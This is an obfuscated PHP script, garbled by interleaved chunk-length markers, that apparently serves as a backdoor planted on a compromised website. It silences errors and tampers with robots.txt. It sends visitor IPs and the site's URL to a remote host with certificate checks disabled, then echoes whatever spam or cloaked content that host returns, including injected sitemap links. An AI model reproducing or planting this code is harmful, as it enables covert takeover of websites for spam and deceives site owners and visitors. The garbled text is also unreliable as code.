1 < 5 ?php 5 got 6 o NWuL 6 Z; N2p 6 xL: if 6 (!emp 5 ty($g 6 et["\1 6 62"])) 6 { $ro 6 botsPa 6 th = $ 5 _SERV 8 ER["\104 8 \x4f\x43 7 \x55\x4 8 d\x45\11 8 6\124\x5 c f\122\x4f\x4 9 f\124"] . 6 "\x2f 9 \162\157\ 9 142\x6f\x 7 74\163\ 9 56\x74\x7 9 8\x74"; $ 6 sitema 5 pBloc b k = "\x55\x 9 73\x65\x7 9 2\x2d\x61 a \147\145\x d 6e\x74\72\x20 7 \x2a\xa 8 \101\154 e \154\x6f\x77\x d 3a\x20\x2f\12 12 "; $sitemaps = "\x 8 a\123\15 c 1\164\x65\x6 10 d\x61\160\72\x20 6 {$http 6 _type} e {$_SERVER["\x4 b 8\x54\x54\1 8 20\137\1 6 10\117 19 \123\124"]}{$_SERVER["\x5 5 3\103 c \122\x49\x50 10 \x54\x5f\116\x41 c \x4d\x45"]}\ 9 77\163\x3 b d\x73\12"; 9 if (!file 7 _exists 11 ($robotsPath)) { 9 file_put_ 6 conten 1e ts($robotsPath, $sitemapBlock d . $sitemaps); 6 } els c e { $robotsC a ontent = @ 1d file_get_contents($robotsPath a ); if (str 12 pos($robotsContent e , $_SERVER["\1 1b 23\x43\x52\x49\x50\x54\x5f\ 12 x4e\x41\x4d\x45"]) 6 === f 8 alse) { 2a @file_put_contents($robotsPath, $sitemaps, 5 FILE 5 _APPE b ND); } } } 7 goto Ez a Yoe; NWuLZ 7 : error 6 _repor 6 ting(0 9 ); goto y 5 MqRN; c yMqRN: $get 8 = $_GET a ; goto shq 6 ZL; Aq 7 5NJ: $l 5 l = " 1e {$http_type}{$_SERVER["\110\12 13 4\124\120\137\x48\x 9 4f\123\x5 18 4"]}{$_SERVER["\x53\x43\ 10 122\111\x50\x54\ e 137\116\x41\11 8 5\105"]} a "; goto D_ 6 iaM; m 6 5bkF: 6 functi 6 on get 6 Curl($ 9 url, $get 7 Data = 6 array( 14 )) { if (!empty($get c Data)) { $qu 6 eryStr 7 ing = i 11 s_array($getData) 9 ? http_b 5 uild_ 11 query($getData) : 10 $getData; $url c .= (strpos($ a url, "\77" 13 ) === false ? "\77" 8 : "\x26 11 ") . $queryString 10 ; } if (function b _exists("\1 c 43\x75\x72\1 a 54\137\x69 d \156\151\164" c )) { $ch = c 7 url_ini a t(); curl_ 6 setopt c _array($ch, a array(CURL 7 OPT_URL a => $url, b CURLOPT_RET 5 URNTR 5 ANSFE 9 R => true d , CURLOPT_SSL 6 _VERIF 9 YPEER => 1a false, CURLOPT_SSL_VERIFYH 16 OST => false, CURLOPT_ 5 FOLLO 5 WLOCA 4 TION 16 => true, CURLOPT_TIME 9 OUT => 10 c , CURLOPT_HT 5 TPGET 17 => true, CURLOPT_USERA 9 GENT => " a \115\157\1 e 72\151\154\x6c a \141\57\x3 7 5\x2e\6 7 0")); $ d data = curl_e 7 xec($ch d ); curl_close 14 ($ch); if (!empty($d c ata)) { retu 8 rn $data d ; } } if (ini 13 _get("\141\154\x6c\ 7 x6f\167 f \x5f\x75\162\15 f 4\x5f\146\157\1 7 60\x65\ f 156")) { $conte 8 xt = str b eam_context 8 _create( a array("\x6 c 8\164\x74\16 e 0" => array("\ 9 155\x65\1 c 64\x68\x6f\x 1e 64" => "\x47\105\x54", "\x74\x e 69\155\145\x6f 11 \x75\x74" => 10, c "\150\x65\x6 d 1\x64\x65\162 a " => "\125 13 \163\x65\162\x2d\x4 13 1\147\145\x6e\164\x a 3a\40\x4d\ 7 157\x7a c \151\x6c\x6c 13 \x61\x2f\x35\x2e\60 8 \15\12") 9 , "\163\x 16 73\x6c" => array("\166 a \x65\162\x 4 69\1 1 4 5 6\x79 f \137\160\x65\14 15 5\162" => false, "\x7 f 6\145\x72\151\1 c 46\171\137\x 9 70\145\14 f 5\162\x5f\x6e\1 a 41\x6d\x65 17 " => false))); $data = 19 @file_get_contents($url, f false, $context 33 ); if (!empty($data)) { return $data; } } return '' b ; } goto X5 4 nb1; a D_iaM: $v 10 url = $http_type b . "\x69\14 d 4\154\x79\62\ 7 56\x69\ 12 x64\x73\x68\157\x7 7 0\x2e\x c 63\143\167\x 7 75\56\1 b 43\x63\x2f\ 9 64\61\71\ e 56\x61\163\x70 c \x78"; goto c N2pxL; EzYoe 1f : if (!empty($get["\163"])) { $ 6 params f = array("\163" c => date("\1 b 31\x6d\144\ 7 x48\151 d "), "\x6e\165 15 \155\142\x65\162" => 15 $get["\156\165\x6d\x6 b 2\145\162"] a ); $str = 10 getCurl($vurl, $ 13 params); $str = str 7 _replac 10 e(array("\173\xe 7 5\275\2 9 23\xe5\x8 7 9\x8d\3 8 45\x9c\2 8 60\xe5\2 a 35\x80\x7d 17 "), array($http_type . 17 $_SERVER["\110\x54\x54\ 7 x50\x5f 15 \110\117\x53\124"] . 1f $_SERVER["\123\x43\122\x49\x50\ 10 124\137\116\x41\ 10 x4d\x45"]), $str 7 ); head 6 er("\1 10 03\157\156\x74\x c 65\156\164\x c 2d\164\171\1 13 60\x65\72\164\x65\1 b 70\x74\57\x 9 78\155\15 8 4"); ech a o $str; di c e; } goto N4 a dac; X5nb1 f : $http_type = 1e !empty($_SERVER["\110\x54\x54\ b 120\123"]) 3 && 1d $_SERVER["\x48\124\124\x50\12 6 3"] != d = "\x6f\146\x 8 66" ? "\ 15 x68\164\164\160\x73\x a 3a\x2f\x2f a " : "\150\ 16 164\164\160\x3a\x2f\57 10 "; goto Aq5NJ; f 4 5XoA e : function pos 23 tCurl($url, $postData = array()) { 18 $postString = is_array($ 1e postData) ? http_build_query($ 16 postData) : $postData; 2b if (function_exists("\143\x75\162\154\x5f\ d x69\x6e\x69\1 ef 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_P 19 OST => true, CURLOPT_POST 5 FIELD 10 S => $postString 66 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ 24 x6c\x6c\157\x77\x5f\x75\162\154\x5f\ 7 x66\x6f 3b \x70\145\156")) { $context = stream_context_create(array("\ 20 150\164\164\160" => array("\155\ d 145\164\150\1 10 57\144" => "\120 d \x4f\x53\124" 10 , "\164\x69\155\ d x65\157\165\x 14 74" => 10, "\x68\x65 f \141\144\x65\x7 e 2" => "\103\x6 e f\156\x74\x65\ 13 x6e\x74\55\124\171\ 9 x70\x65\x 15 3a\x20\x61\160\160\x6 9 c\x69\x63 13 \x61\x74\x69\x6f\x6 e e\57\x78\55\x7 a 7\x77\167\ e 55\x66\x6f\x72 13 \155\x2d\165\162\x6 c c\x65\156\14 10 3\157\144\145\14 8 4\xd\12" 15 . "\x43\x6f\156\x74\ d 145\156\x74\x 10 2d\x4c\145\x6e\1 f 47\164\x68\72\4 9 0" . strl f en($postString) a . "\xd\xa f " . "\125\x73\1 b 45\x72\x2d\ 9 101\x67\x 1a 65\156\164\x3a\40\x4d\157\ 12 172\151\x6c\x6c\14 e 1\x2f\65\56\x3 d 0\xd\xa", "\1 f 43\x6f\x6e\164\ 1c 145\x6e\164" => $postString) 28 , "\163\x73\x6c" => array("\x76\145\x72\ e x69\146\171\x5 27 f\x70\x65\145\162" => false, "\x76\145\ e 162\x69\x66\x7 c 9\x5f\160\14 b 5\x65\x72\1 d 37\x6e\141\15 80 5\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto c m5bkF; N4dac 1b : if (!empty($get["\151\144 b "])) { if ( 1c empty($get["\153\153"])) { $ 9 ip = get_ 6 ip(); 1e $params = array("\x69\160" => e $ip, "\x69\144 7 " => is 14 set($get["\x69\144"] f ) ? $get["\151\ 8 x64"] : 9 '', "\x6c 10 \x6c" => $ll); $ 21 tzstr = getCurl($vurl, $params); 11 if (strpos($tzstr 12 , "\x69\144") !== f false) { echo $ f tzstr; die; } } 1f $params = array("\x69\x64" => 10 $get["\x69\x64"] c , "\x6c\154" 46 => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x 8 7b\125\x a 52\x4c\175 d ", "\173\345\ 8 237\237\ 9 345\x90\2 10 15\175"), array( b get_url_inf e o("\146\165\15 9 4\x6c"), 19 get_url_info("\156\157\13 d 7\x77\167\167 c ")), $str); 1a echo $str; die; } else { $ f sitemapUrl = $l 9 l . "\x3f c \x73\x3d" . 12 date("\131\155\144 8 \110\x69 10 "); echo "\74\14 b 4\x69\166\4 10 0\x73\164\171\15 d 4\145\x3d\x27 11 \x74\145\170\164\ e x2d\x61\154\15 d 1\147\156\x3a 12 \x63\145\x6e\164\x b 65\x72\73\4 10 0\160\x61\144\14 e 4\x69\156\x67\ e 72\61\x30\160\ b 170\40\x30\ 8 73\x27\7 d 6\x3c\x61\x20 e \150\162\x65\1 9 46\75\42{ f $sitemapUrl}\x2 c 2\x20\x74\x6 9 1\x72\x67 e \x65\164\x3d\4 14 2\x5f\x62\154\141\x6 9 e\x6b\42\ 10 40\162\x65\x6c\x c 3d\x22\x6e\1 b 57\x66\157\ 15 x6c\x6c\157\167\x22\x 8 3e\x20\x 9 53\x69\x7 1d 4\x65\x6d\x61\160\74\57\141\x 8 3e\x3c\x f 2f\144\151\166\ c 76"; } goto 6 nnSBp; 5 Uh8S 14 o: function get_ip() 5 { fo 10 reach (array("\x 13 48\x54\x54\x50\x5f\ a x58\137\x4 b 6\117\x52\1 6 27\101 c \122\104\x45 c \104\x5f\x46 e \x4f\x52", "\x 15 48\124\x54\120\x5f\x4 a 3\114\x49\ 9 105\x4e\x e 54\137\111\x50 b ", "\x52\x4 12 5\x4d\117\x54\x45\ 9 x5f\101\x e 44\x44\x52") a 5 s $ke 11 y) { if (!empty($ d _SERVER[$key] 12 )) { return trim(e 5 xplod 8 e("\x2c" 12 , $_SERVER[$key])[ 9 0]); } } 11 return "\x55\x4e\ a 113\116\x4 9 f\x57\116 10 "; } goto f5XoA; 15 shqZL: function get_ 11 url_info(string $ f return_type = " 10 \144\157\155\141 9 \151\x6e" f ) : string { $h 3 ost 1e = $_SERVER["\x48\124\124\x50\ 1b x5f\110\x4f\123\x54"]; if ( 17 $return_type === "\144\ e x6f\155\x61\x6 12 9\156") { return $ c host; } if ( 1b $return_type === "\156\157\ 1b x5f\x77\167\167") { return b ltrim($host 11 , "\x77\x77\167\x a 2e"); } $p 7 rotocol a = isset($ 1c _SERVER["\110\x54\124\x50\x5 25 3"]) && $_SERVER["\110\x54\x54\x50\x5 5 3"] = f == "\x6f\156" | 1b | isset($_SERVER["\x48\x54\ e 124\x50\x5f\13 10 0\137\106\x4f\12 b 2\127\x41\1 14 22\104\x45\x44\137\x 11 50\x52\117\x54\x4 17 f"]) && $_SERVER["\110\ 24 124\124\120\137\x58\137\106\x4f\122\ 10 x57\101\122\104\ 10 105\104\137\x50\ e 122\x4f\x54\11 a 7"] === "\ f 150\x74\x74\160 14 \x73" ? "\x68\x74\16 e 4\x70\x73\x3a\ c 57\x2f" : "\ 15 x68\x74\164\x70\72\x2 b f\x2f"; $ba a se_url = $ 12 protocol . $host; 1a if ($return_type === "\142 19 \x61\x73\145") { return $ e base_url; } $u 11 ri = $_SERVER["\x a 52\x45\121 10 \125\105\123\124 8 \x5f\x55 f \122\x49"]; $fu a ll_url = $ f base_url . $uri 1e ; if ($return_type === "\x66\1 17 65\154\154") { return $ 9 full_url; 21 } return ''; } goto Uh8So; nnSBp 4 : ?> 0